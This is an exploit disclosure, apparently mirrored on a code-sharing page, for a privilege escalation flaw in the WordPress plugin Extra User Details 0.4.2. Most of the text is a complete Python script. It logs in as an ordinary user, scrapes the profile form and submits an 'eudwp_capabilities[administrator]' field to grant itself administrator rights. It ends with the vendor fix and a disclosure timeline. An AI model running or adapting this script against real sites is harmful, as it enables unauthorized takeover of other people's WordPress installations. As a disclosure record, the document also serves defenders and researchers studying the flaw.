扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
""" * Exploit Title: Extra User Details [Privilege Escalation] * Discovery Date: 2016-02-13 * Exploit Author: Panagiotis Vagenas * Author Link: https://twitter.com/panVagenas * Vendor Homepage: http://vadimk.com/ * Software Link: https://wordpress.org/plugins/extra-user-details/ * Version: 0.4.2 * Tested on: WordPress 4.4.2 * Category: WebApps, WordPress Description ----------- _Extra User Details_ plugin for WordPress suffers from a Privilege Escalation vulnerability. The plugin hooks the <code>eud_update_ExtraFields</code> function to <code>profile_update WordPress action. This function doesn't properly check user capabilities and updates all meta information passed to post data. The only condition is that the post variable name has the <code>eud</code> prefix which is striped before updating the values in DB. An attacker can exploit this misbehavior to update the {prefix}\_capabilities meta information to gain administrative privileges. PoC --- In the following PoC we assume that the database has the <code>wp</code> prefix, a very common scenario as this is the default WordPress value """ # !/usr/bin/python3 ################################################################################ # Extra User Details Privilege Escalation Exploit # # Author: Panagiotis Vagenas <pan.vagenas> # # Dependencies: BeautifulSoup (http://www.crummy.com/software/BeautifulSoup/) ################################################################################ import requests from bs4 import BeautifulSoup baseUrl = 'http://example.com' loginUrl = baseUrl + '/wp-login.php' profileUrl = baseUrl + '/wp-admin/profile.php' loginPostData = { 'log': 'username', 'pwd': 'password', 'rememberme': 'forever', 'wp-submit': 'Log+In' } s = requests.Session() r = s.post(loginUrl, loginPostData) if r.status_code != 200: print('Login error') exit(1) r = s.get(profileUrl) soup = BeautifulSoup(r.text, 'html.parser') f = soup.find('form', {'id': 'your-profile'}) if not f: print('Error') exit(1) data = { 'eudwp_capabilities[administrator]': 1, } for i in f.find_all('input'): if 'name' in i.attrs and 'value' in i.attrs and i.attrs['value']: data[i.attrs['name']] = i.attrs['value'] r = s.post(profileUrl, data) if r.status_code == 200: print('Success') exit(0) """ Solution -------- Upgrade to v0.4.2.1 Timeline -------- 1. **2016-02-13**: Vendor notified through wordpress.org support forums 2. **2016-02-13**: Vendor notified through through the contact form in his website 3. **2016-02-13**: Vendor responded and received details about this issue 4. **2016-02-15**: Vendor released v0.4.2.1 which resolves this issue """ |
体验盒子
